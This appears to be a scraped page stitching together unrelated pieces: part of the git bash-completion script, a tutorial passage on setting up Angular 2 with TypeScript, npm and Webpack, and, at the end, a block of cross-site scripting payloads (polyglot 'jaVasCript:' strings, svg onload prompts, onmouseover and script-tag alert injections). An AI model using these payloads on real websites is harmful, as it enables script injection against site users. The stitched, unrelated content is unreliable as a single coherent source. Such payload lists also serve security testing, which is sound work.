--smtp-user --subject --suppress-cc= --suppress-from --thread --to --validate --no-validate" return ;; esac COMPREPLY=() } _git_stage () { _git_add } __git_config_get_set_variables () { local prevword word config_file= c=$COMP_CWORD while [ $c -gt 1 ]; do word="${COMP_WORDS[c]}" case "$word" in --global|--system|--file=*) config_file="$word" break ;; -f|--file) config_file="$word $prevword" break ;; esac prevword=$word c=$((--c)) done git --git-dir="$(__gitdir)" config $config_file --list 2>/dev/null | while read line do case "$line" in *.*=*) echo "${line/=*/}" ;; esac done } _git_config () { local cur="${COMP_WORDS[COMP_CWORD]}" local prv="${COMP_WORDS[COMP_CWORD-1]}" case "$prv" in branch.*.remote) __gitcomp "$(__git_remotes)" return ;; branch.*.merge) __gitcomp "$(__git_refs)" return ;; remote.*.fetch) local remote="${prv#remote.}" remote="${remote%.fetch}" __gitcomp "$(__git_refs_remotes "$remote")" return ;; remote.*.push) local remote="${prv#remote.}" remote="${remote%.push}" __gitcomp "$(git --git-dir="$(__gitdir)" \ for-each-ref --format='%(refname):%(refname)' \ refs/heads)" return ;; pull.twohead|pull.octopus) __git_compute_merge_strategies __gitcomp "$__git_merge_strategies" return ;; color.branch|color.diff|color.interactive|\ color.showbranch|color.status|color.ui) __gitcomp "always never auto" return ;; color.pager) __gitcomp "false true" return ;; color.*.*) __gitcomp " normal black red green yellow blue magenta cyan white bold dim ul blink reverse " return ;; help.format) __gitcomp "man info web html" return ;; log.date) __gitcomp "$__git_log_date_formats" return ;; sendemail.aliasesfiletype) __gitcomp "mutt mailrc pine elm gnus" return ;; sendemail.confirm) __gitcomp "$__git_send_email_confirm_options" return ;; sendemail.suppresscc) __gitcomp "$__git_send_email_suppresscc_options" return ;; --get|--get-all|--unset|--unset-all) __gitcomp "$(__git_config_get_set_variables)" return ;; *.*) COMPREPLY=() return ;; esac case "$cur" in --*) __gitcomp " --global --system --file= --list --replace-all --get --get-all --get-regexp --add --unset --unset-all --remove-section --rename-section " return ;; branch.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "remote merge mergeoptions rebase" "$pfx" "$cur" return ;; branch.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_heads)" "$pfx" "$cur" "." return ;; guitool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " argprompt cmd confirm needsfile noconsole norescan prompt revprompt revunmerged title " "$pfx" "$cur" return ;; difftool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; man.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path" "$pfx" "$cur" return ;; mergetool.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "cmd path trustExitCode" "$pfx" "$cur" return ;; pager.*) local pfx="${cur%.*}." cur="${cur#*.}" __git_compute_all_commands __gitcomp "$__git_all_commands" "$pfx" "$cur" return ;; remote.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp " url proxy fetch push mirror skipDefaultUpdate receivepack uploadpack tagopt pushurl " "$pfx" "$cur" return ;; remote.*) local pfx="${cur%.*}." cur="${cur#*.}" __gitcomp "$(__git_remotes)" "$pfx" "$cur" "." return ;; url.*.*) local pfx="${cur%.*}." cur="${cur##*.}" __gitcomp "insteadOf pushInsteadOf" "$pfx" "$cur" return ;; esac __gitcomp " add.ignore-errors alias. apply.ignorewhitespace apply.whitespace branch.autosetupmerge branch.autosetuprebase clean.requireForce color.branch color.branch.current color.branch.local color.branch.plain color.branch.remote color.diff color.diff.commit color.diff.frag color.diff.meta color.diff.new color.diff.old color.diff.plain color.diff.whitespace color.grep color.grep.external color.grep.match color.interactive color.interactive.header color.interactive.help color.interactive.prompt color.pager color.showbranch color.status color.status.added color.status.changed color.status.header color.status.nobranch color.status.untracked color.status.updated color.ui commit.template core.autocrlf core.bare core.compression core.createObject core.deltaBaseCacheLimit core.editor core.excludesfile core.fileMode core.fsyncobjectfiles core.gitProxy core.ignoreCygwinFSTricks core.ignoreStat core.logAllRefUpdates core.loosecompression core.packedGitLimit core.packedGitWindowSize core.pager core.preferSymlinkRefs core.preloadindex core.quotepath core.repositoryFormatVersion core.safecrlf core.sharedRepository core.symlinks core.trustctime core.warnAmbiguousRefs core.whitespace core.worktree diff.autorefreshindex diff.external diff.mnemonicprefix diff.renameLimit diff.renameLimit. diff.renames diff.suppressBlankEmpty diff.tool diff.wordRegex difftool. difftool.prompt fetch.unpackLimit format.attach format.cc format.headers format.numbered format.pretty format.signature format.signoff format.subjectprefix format.suffix format.thread gc.aggressiveWindow gc.auto gc.autopacklimit gc.packrefs gc.pruneexpire gc.reflogexpire gc.reflogexpireunreachable gc.rerereresolved gc.rerereunresolved gitcvs.allbinary gitcvs.commitmsgannotation gitcvs.dbTableNamePrefix gitcvs.dbdriver gitcvs.dbname gitcvs.dbpass gitcvs.dbuser gitcvs.enabled gitcvs.logfile gitcvs.usecrlfattr guitool. gui.blamehistoryctx gui.commitmsgwidth gui.copyblamethreshold gui.diffcontext gui.encoding gui.fastcopyblame gui.matchtrackingbranch gui.newbranchtemplate gui.pruneduringfetch gui.spellingdictionary gui.trustmtime help.autocorrect help.browser help.format http.lowSpeedLimit http.lowSpeedTime http.maxRequests http.noEPSV http.proxy http.sslCAInfo http.sslCAPath http.sslCert http.sslKey http.sslVerify i18n.commitEncoding i18n.logOutputEncoding imap.folder imap.host imap.pass imap.port imap.preformattedHTML imap.sslverify imap.tunnel imap.user instaweb.browser instaweb.httpd instaweb.local instaweb.modulepath instaweb.port interactive.singlekey log.date log.showroot mailmap.file man. man.viewer merge.conflictstyle merge.log merge.renameLimit merge.stat merge.tool merge.verbosity mergetool. mergetool.keepBackup mergetool.prompt pack.compression pack.deltaCacheLimit pack.deltaCacheSize pack.depth pack.indexVersion pack.packSizeLimit pack.threads pack.window pack.windowMemory pager. pull.octopus pull.twohead push.default rebase.stat receive.denyCurrentBranch receive.denyDeletes receive.denyNonFastForwards receive.fsckObjects receive.unpackLimit repack.usedeltabaseoffset rerere.autoupdate rerere.enabled sendemail.aliasesfile sendemail.aliasesfiletype sendemail.bcc sendemail.cc sendemail.cccmd sendemail.chainreplyto sendemail.confirm sendemail.envelopesender sendemail.multiedit sendemail.signedoffbycc sendemail.smtpencryption sendemail.smtppass sendemail.smtpserver sendemail.smtpserverport sendemail.smtpuser sendemail.suppresscc sendemail.suppressfrom sendemail.thread sendemail.to sendemail.validate showbranch.default status.relativePaths status.showUntrackedFiles tar.umask transfer.unpackLimit url. user.email user.name user.signingkey web.browser branch. remote. " } _git_remote () { local subcommands="add rename rm show prune update set-head" local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" return fi case "$subcommand" in rename|rm|show|prune) __gitcomp "$(__git_remotes)" ;; update) local i c='' IFS=$'\n' for i in $(git --git-dir="$(__gitdir)" config --get-regexp "remotes\..*" 2>/dev/null); do i="${i#remotes.}" c="$c ${i/ */}" done __gitcomp "$c" ;; *) COMPREPLY=() ;; esac } _git_replace () { __gitcomp "$(__git_refs)" } _git_reset () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--merge --mixed --hard --soft --patch" return ;; esac __gitcomp "$(__git_refs)" } _git_revert () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--edit --mainline --no-edit --no-commit --signoff" return ;; esac __gitcomp "$(__git_refs)" } _git_rm () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--cached --dry-run --ignore-unmatch --quiet" return ;; esac COMPREPLY=() } _git_shortlog () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_shortlog_options --numbered --summary " return ;; esac __git_complete_revlist } _git_show () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --pretty=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--pretty=}" return ;; --format=*) __gitcomp "$__git_log_pretty_formats " "" "${cur##--format=}" return ;; --*) __gitcomp "--pretty= --format= --abbrev-commit --oneline $__git_diff_common_options " return ;; esac __git_complete_file } _git_show_branch () { local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp " --all --remotes --topo-order --current --more= --list --independent --merge-base --no-name --color --no-color --sha1-name --sparse --topics --reflog " return ;; esac __git_complete_revlist } _git_stash () { local cur="${COMP_WORDS[COMP_CWORD]}" local save_opts='--keep-index --no-keep-index --quiet --patch' local subcommands='save list show apply clear drop pop create branch' local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then case "$cur" in --*) __gitcomp "$save_opts" ;; *) if [ -z "$(__git_find_on_cmdline "$save_opts")" ]; then __gitcomp "$subcommands" else COMPREPLY=() fi ;; esac else case "$subcommand,$cur" in save,--*) __gitcomp "$save_opts" ;; apply,--*|pop,--*) __gitcomp "--index --quiet" ;; show,--*|drop,--*|branch,--*) COMPREPLY=() ;; show,*|apply,*|drop,*|pop,*|branch,*) __gitcomp "$(git --git-dir="$(__gitdir)" stash list \ | sed -n -e 's/:.*//p')" ;; *) COMPREPLY=() ;; esac fi } _git_submodule () { __git_has_doubledash && return local subcommands="add status init update summary foreach sync" if [ -z "$(__git_find_on_cmdline "$subcommands")" ]; then local cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in --*) __gitcomp "--quiet --cached" ;; *) __gitcomp "$subcommands" ;; esac return fi } _git_svn () { local subcommands=" init fetch clone rebase dcommit log find-rev set-tree commit-diff info create-ignore propget proplist show-ignore show-externals branch tag blame migrate mkdirs reset gc " local subcommand="$(__git_find_on_cmdline "$subcommands")" if [ -z "$subcommand" ]; then __gitcomp "$subcommands" else local remote_opts="--username= --config-dir= --no-auth-cache" local fc_opts=" --follow-parent --authors-file= --repack= --no-metadata --use-svm-props --use-svnsync-props --log-window-size= --no-checkout --quiet --repack-flags --use-log-author --localtime --ignore-paths= $remote_opts " local init_opts=" --template= --shared= --trunk= --tags= --branches= --stdlayout --minimize-url --no-metadata --use-svm-props --use-svnsync-props --rewrite-root= --prefix= --use-log-author --add-author-from $remote_opts " local cmt_opts=" --edit --rmdir --find-copies-harder --copy-similarity= " local cur="${COMP_WORDS[COMP_CWORD]}" case "$subcommand,$cur" in fetch,--*) __gitcomp "--revision= --fetch-all $fc_opts" ;; clone,--*) __gitcomp "--revision= $fc_opts $init_opts" ;; init,--*) __gitcomp "$init_opts" ;; dcommit,--*) __gitcomp " --merge --strategy= --verbose --dry-run --fetch-all --no-rebase --commit-url --revision $cmt_opts $fc_opts " ;; set-tree,--*) __gitcomp "--stdin $cmt_opts $fc_opts" ;; create-ignore,--*|propget,--*|proplist,--*|show-ignore,--*|\ show-externals,--*|mkdirs,--*) __gitcomp "--revision=" ;; log,--*) __gitcomp " --limit= --revision= --verbose --incremental --oneline --show-commit --non-recursive --authors-file= --color " ;; rebase,--*) __gitcomp " --merge --verbose --strategy= --local --fetch-all --dry-run $fc_opts " ;; commit-diff,--*) __gitcomp "--message= --file= --revision= $cmt_opts" ;; info,--*) __gitcomp "--url" ;; branch,--*) __gitcomp "--dry-run --message --tag" ;; tag,--*) __gitcomp "--dry-run --message" ;; blame,--*) __gitcomp "--git-format" ;; migrate,--*) __gitcomp " --config-dir= --ignore-paths= --minimize --no-auth-cache --username= " ;; reset,--*) __gitcomp "--revision= --parent" ;; *) COMPREPLY=() ;; esac fi } _git_tag () { local i c=1 f=0 while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in -d|-v) __gitcomp "$(__git_tags)" return ;; -f) f=1 ;; esac c=$((++c)) done case "${COMP_WORDS[COMP_CWORD-1]}" in -m|-F) COMPREPLY=() ;; -*|tag) if [ $f = 1 ]; then __gitcomp "$(__git_tags)" else COMPREPLY=() fi ;; *) __gitcomp "$(__git_refs)" ;; esac } _git_whatchanged () { _git_log } _git () { local i c=1 command __git_dir while [ $c -lt $COMP_CWORD ]; do i="${COMP_WORDS[c]}" case "$i" in --git-dir=*) __git_dir="${i#--git-dir=}" ;; --bare) __git_dir="." ;; --version|-p|--paginate) ;; --help) command="help"; break ;; *) command="$i"; break ;; esac c=$((++c)) done if [ -z "$command" ]; then case "${COMP_WORDS[COMP_CWORD]}" in --*) __gitcomp " --paginate --no-pager --git-dir= --bare --version --exec-path --html-path --work-tree= --help " ;; *) __git_compute_porcelain_commands __gitcomp "$__git_porcelain_commands $(__git_aliases)" ;; esac return fi local completion_func="_git_${command//-/_}" declare -F $completion_func >/dev/null && $completion_func && return local expansion=$(__git_aliased_command "$command") if [ -n "$expansion" ]; then completion_func="_git_${expansion//-/_}" declare -F $completion_func >/dev/null && $completion_func fi } _gitk () { __git_has_doubledash && return local cur="${COMP_WORDS[COMP_CWORD]}" local g="$(__gitdir)" local merge="" if [ -f "$g/MERGE_HEAD" ]; then merge="--merge" fi case "$cur" in --*) __gitcomp " $__git_log_common_options $__git_log_gitk_options $merge " return ;; esac __git_complete_revlist } complete -o bashdefault -o default -o nospace -F _git git 2>/dev/null \ || complete -o default -o nospace -F _git git complete -o bashdefault -o default -o nospace -F _gitk gitk 2>/dev/null \ || complete -o default -o nospace -F _gitk gitk # The following are necessary only for Cygwin, and only are needed # when the user has tab-completed the executable name and consequently # included the '.exe' suffix. # if [ Cygwin = "$(uname -o 2>/dev/null)" ]; then complete -o bashdefault -o default -o nospace -F _git git.exe 2>/dev/null \ || complete -o default -o nospace -F _git git.exe fi
krishnakumarsingh
Setting Up an Angular 2 Environment Using Typescript, Npm and Webpack PreviousNext This Angular 2 tutorial serves for anyone looking to get up and running with Angular 2 and TypeScript fast. Angular 2 Beta Udemy Last week I’ve read the great Angular 2 book from Ninja Squad. Therefore, I figured it was time to put pen to paper and start building Angular 2 applications using TypeScript. That’s why in this tutorial, we’ll learn how to start an Angular 2 project from scratch and go further by building a development environment with Webpack and more. Getting Started 1. Developing and Building a TypeScript App Let’s start by building our first Angular 2 application using Typescript. First, make sure you have Node.js and npm installed. You can refer to the official website for more information about the installation procedure. Then, install Typescript globally via npm by running the following command in your terminal : 1 2 3 npm install -g typescript Once it is installed, we’ll setup our Typescript project by creating a tsconfig.json file in which we specify the compilation options to use for compiling our project. The typescript NPM module we just installed comes with a compiler, named tsc, that we are going to use for initializing a fresh Typescript project : 1 2 3 4 5 6 7 # Create a new project folder and go inside it mkdir angular2-starter && cd angular2-starter # Generate the Typescript configurations file tsc --init --target es5 --sourceMap --experimentalDecorators --emitDecoratorMetadata Running tsc --init create the tsconfig.json in our project directory, which looks like this : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built" }, "exclude": [ "node_modules" ] } Along with the --init parameter, we passed the following options to the compiler : --target es5 : specify that we want our code to transpile to ECMASCRIPT 5. Thus, it could be run in every browser. --sourceMap : generate source maps files. It helps when debugging ES5 code with the original Typescript code in the chrome devtools. --experimentalDecorators and --emitDecoratorMetadata : allow to use Typescript with decorators. Also notice that options such as module, outDir or rootDir have been added by default. Feel free to read the documentation for more compiler options. So hit npm init in your terminal, and fill in some answers (you can accept the default for all the prompts). Then, install angular2 by running the following command : 1 2 3 npm install --save angular2 You should now have a package.json file that looks like the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.17", "es6-shim": "^0.35.1", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.6", "zone.js": "^0.6.17" } } As you can see, angular2 comes with the following dependencies : reflect-metadata : used to enable dependency injection through decorators es6-shim and es6-promise : librairies for ES6 compatabilities and support for ES6 Promise rxjs : a set of librairies for reactive programming zone.js : used to implement zones for Javascript, inspired from Dart. Angular 2 uses it to efficiently detect changes The fundamentals settings are now in place. Let’s create our first Angular 2 application. 2. Creating our First Component The first step is to create a Typescript file at the root folder, and name it app.component.ts. Our application itself will be a component. To do so, we’ll use the @Component decorator by importing it from ‘angular2/core‘. That’s all we need to create our Angular 2 component. 1 2 3 4 5 6 import { Component } from 'angular2/core'; @Component() export class AppComponent { } By prefixing the class by this decorator, it tells Angular that this class is an Angular component. In Angular 2, components are a fundamental concept. It is the way we define views and control the logic on the page. Here’s how to do it : 1 2 3 4 5 6 7 8 9 import { Component } from 'angular2/core'; @Component({ selector: 'app', template: '<h1>Hello, Angular2</h1>' }) export class AppComponent { } We passed in a configuration object to the component decorator. This object has two properties : selector and template. The selector is the HTML element that Angular will looking for. Every times it founds one, Angular will instantiate a new instance of our AppComponent class, and place our template. As you may also notice we export our class at the end. This is our first class so we’ll keep it empty for simplicity. 3. Bootstrapping the App Finally, we need to launch our application. For this, we only need two things : the Angular’s browser bootstrap method, and the application root component that we just wrote. To separate the concerns, create a new file, bootstrap.ts, and import the dependencies : 1 2 3 4 5 6 7 8 9 ///<reference path="node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); As you can see, we call the bootstrap method, passing in our component, AppComponent. Moreover, as stated in the CHANGELOG since 2.0.0-beta.6 (2016-02-11) we may need to add the <reference ... /> line at the top of our bootstrap.ts file when using --target=es5. Feel free to check the CHANGELOG for more details. Last but not least, we need to create an index.html file to host our Angular application. Start by pasting the following lines : 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html> <head></head> <body> <app>Loading...</app> </body> </html> For now, it’s a very basic HTML file in which we’ve put the selector <app> that corresponds to our application root component. But we need to add 2 more things in order to launch our application. Indeed, we need to rely on a tool to load application and library modules. For now, we’ll use SystemJS as the module loader. We’ll see later in this tutorial how to install and configure Webpack for our Angular 2 project. And finally, we need to include script dependencies in our HTML file. Let’s do it together step by step. First, start by installing SystemJS : 1 2 3 npm install --save systemjs Then, load it statically in the index.html just after angular2-polyfills. angular2-polyfills is essentially a mashup of zone.js and reflect-metadata. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> </head> <body> <app>Loading...</app> </body> </html> Finally, we need to tell SystemJS where is our bootstrap module and where to find the dependencies used in our application (angular2 and rxjs) : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> <script> System.config({ // we want to import modules without writing .js at the end defaultJSExtensions: true, // the app will need the following dependencies map: { 'angular2': 'node_modules/angular2', 'rxjs': 'node_modules/rxjs' } }); // and to finish, let's boot the app! System.import('built/bootstrap'); </script> </head> <body> <app>Loading...</app> </body> </html> OK! We’re done with the settings and we can now compile and run our application. In order to handle common tasks, include the following npm scripts in the package.json file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "start": "concurrently \"npm run watch\" \"npm run serve\"", "watch": "tsc -w", "serve": "lite-server" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.11", "es6-promise": "^3.1.2", "es6-shim": "^0.35.0", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.2", "systemjs": "^0.19.24", "zone.js": "^0.6.5" }, "devDependencies": { "concurrently": "^2.2.0", "lite-server": "^2.2.2" } } The watch script runs the TypeScript compiler in watch mode. It watches TypeScript files and triggers recompilation on changes. The serve script runs an HTTP server to serve our application, and refresh the browser on changes. I’ve used lite-server for that purpose. Install it via npm : 1 2 3 npm install --save-dev lite-server And, the start run the previous 2 scripts concurrently using the concurrently npm package : 1 2 3 npm install --save-dev concurrently So, run npm start and open your browser to http://localhost:3000. You should now briefly see “Loading…”, and then “Hello, Angular2” should appear. Congratulations! We’ve have just finished the first part of this tutorial. Keep going to see how to set a build system using Webpack for working with TypeScript. Creating a useful project structure and toolchain 1. Project Structure As far, we’ve built a basic Angular 2 application with the minimum required dependencies and tools. In this section, we’ll refactor our project structure to ease the development of more complex Angular 2 applications. By the end of this section, you will be able to build your own starter kit to get up and running with Angular 2 and TypeScript fast. More importantly, you will understand how to structure your project and what each tool is responsible for. Sounds great, isn’t it? Let’s do it! The first step is to revamp the file structure of our project. Here’s how it will look : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ ├──app.component.ts │ │ └──app.html │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──typings.json ├──package.json │ └──webpack.config.js There are some new files, but don’t worry we will dive into each one of them through this section. What’s important for now, it’s to understand that we’ll use the component approach in our application project. This is a great way to ensure maintainable code by encapsulation of our behavior logic. Hence, each component will live in a single folder with each concern as a file: style, template, specs, e2e, and component class. Before going further let’s reorganize our files as follow : 1 2 3 4 5 6 7 8 9 10 11 12 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html │ │ │ └──app/ │ └──app.component.ts │ ├──tsconfig.json └──package.json You should also update the path in bootstrap.ts : 1 2 3 4 5 6 7 8 9 ///<reference path="../node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app/app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); Great! Now it’s time to dive in into Webpack. 2. Installing and Configuring Webpack Webpack will replace SystemJS that we have used until now, as a module loader. If you need an explanation on what is Webpack for, I highly recommand you to take a look at the official documentation. In short, webpack is a module bundler. “It takes modules with dependencies and generates static assets representing those modules“. Start with installing webpack, webpack-dev-server, and the webpack plugins locally, and save them as project dependencies : 1 2 3 4 5 6 7 8 9 10 # First, remove SystemJS. We don't need it anymore. npm uninstall --save systemjs # Then, install Typescript locally npm install --save typescript # Finally, install webpack npm install --save-dev webpack webpack-dev-server html-webpack-plugin copy-webpack-plugin Now, let’s configure Webpack for our development workflow. For this purpose we’ll create a webpack.config.js. Add the following settings in your config file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 var path = require('path'); var webpack = require('webpack'); var CopyWebpackPlugin = require('copy-webpack-plugin'); var HtmlWebpackPlugin = require('html-webpack-plugin'); var ENV = process.env.ENV = 'development'; var HOST = process.env.HOST || 'localhost'; var PORT = process.env.PORT || 8080; var metadata = { host: HOST, port: PORT, ENV: ENV }; /* * config */ module.exports = { // static data for index.html metadata: metadata, // Emit SourceMap to enhance debugging devtool: 'source-map', devServer: { // This is required for webpack-dev-server. The path should // be an absolute path to your build destination. outputPath: path.join(__dirname, 'dist') }, // Switch loaders to debug mode debug: true, // Our angular app entry: { 'polyfills': path.resolve(__dirname, "src/polyfills.ts"), 'app': path.resolve(__dirname, "src/bootstrap.ts") }, // Config for our build file output: { path: path.resolve(__dirname, "dist"), filename: '[name].bundle.js', sourcemapFilename: '[name].map' }, resolve: { // Add `.ts` and `.tsx` as a resolvable extension. extensions: ['', '.ts', '.tsx', '.js'] }, module: { loaders: [ // Support for .ts files { test: /\.tsx?$/, loader: 'ts-loader', include: [ path.resolve(__dirname, "./src") ] }, // Support for .html as raw text { test: /\.html$/, loader: 'raw-loader', exclude: [ path.resolve(__dirname, "src/index.html") ] } ] }, plugins: [ // Copy static assets to the build folder new CopyWebpackPlugin([{ from: 'src/assets', to: 'assets' }]), // Generate the index.html new HtmlWebpackPlugin({ template: 'src/index.html' }) ] } The entry specifies the entry files of our Angular application. It will be use by Webpack as the starting point for the bundling process. As you may notice we specify our bootstrap file, but also a new file named polyfills.ts. It will contain all the dependencies needed to run our Angular2 application. Before that, we’ve put those deps directly inside our index.html. They now live in a separate file : 1 2 3 4 5 // polyfills.ts import 'angular2/bundles/angular2-polyfills'; import 'rxjs'; The output tells Webpack what to do after completing the bundling process. In our case, the dist/ directory will be use to output the bundled files named app.bundle.js and polyfills.bundle.js with th following source-map files. The ts-loader is used to transpile our Typescript files that match the defined test regex. In our case it will process all files with a .ts or .tsx extension. The raw-loader is used to support html files as raw text. Hence, we could write our component views in separate files and include them afterward in our components. You need to install them using npm : 1 2 3 npm install --save-dev ts-loader raw-loader The CopyWebpackPlugin is used to copy the static assets into the build folder. Finally, the metadata are used by the HtmlWebpackplugin to generate our index.html file. In the index.html, we use the host and port data to run the webpack dev server in development environment. See how this file has been simplified : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="./assets/css/styles.css" /> </head> <body> <app>Loading...</app> </body> <% if (webpackConfig.metadata.ENV === 'development') { %> <!-- Webpack Dev Server --> <script src="http://<%= webpackConfig.metadata.host %>:<%= webpackConfig.metadata.port %>/webpack-dev-server.js"></script> <% } %> </html> Feel free to add you own stylesheets files under /src/assets/css as I did with my styles.css file. You should now have a project structured like so : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ └──app.component.ts │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──package.json │ └──webpack.config.js We need one more thing to be all set up. As mentionned before, we will write the views in separated file. So, create an app.html file and refer to it in your app.components.ts. 1 2 3 4 <!-- app.html --> <h1>Hello, Angular2</h1> 1 2 3 4 5 6 7 8 9 10 // app.component.ts import { Component } from 'angular2/core'; @Component({ selector: 'app', template: require('./app.html') }) export class AppComponent { } Finally, we have to install the node typings definition to be able to require file inside our component as we did for the view. Hence, to do so run the following commands, and complete the tsconfig.json to exclude some files : 1 2 3 4 5 6 7 8 9 10 # Install Typings CLI utility npm install typings --global # Init the typings.json typings init # Install typings typings install env~node --global --save As you can notice in my tsconfig.json file below, there are some extra options that are Atom IDE specific features. Feel free to read the documentation about it: atom-typescript/tsconfig.json. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built", "rootDir": "." }, "exclude": [ "node_modules", "typings/main.d.ts", "typings/main" ], "filesGlob": [ "./src/**/*.ts", "!./node_modules/**/*.ts", "typings/browser.d.ts" ], "compileOnSave": false, "buildOnSave": false } If you want to know more about typings read the following pages on Github : Microsoft/TypeScript and typings/typings. Ok! Now it’s time to build and run our application using Webpack. Let’s create some npm scripts to handle those operations. 3. Using npm as a Task Runner We will simply use npm to define and run our tasks : one for the build process, and one for running the development server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "angular2-starter", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "build:dev": "webpack --progress --colors", "server:dev": "webpack-dev-server --hot --progress --colors --content-base dist/", "start": "npm run server:dev" }, ... } We can now run npm start and visit http://localhost:8080 to see our app running.
testnsh
" onmouseover=alert(9205) bad=" "/>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=prompt() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=prompt(123)//>\x3e jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e " onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)// jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> '<script>alert(1)</script> <script>alert(1)</script> 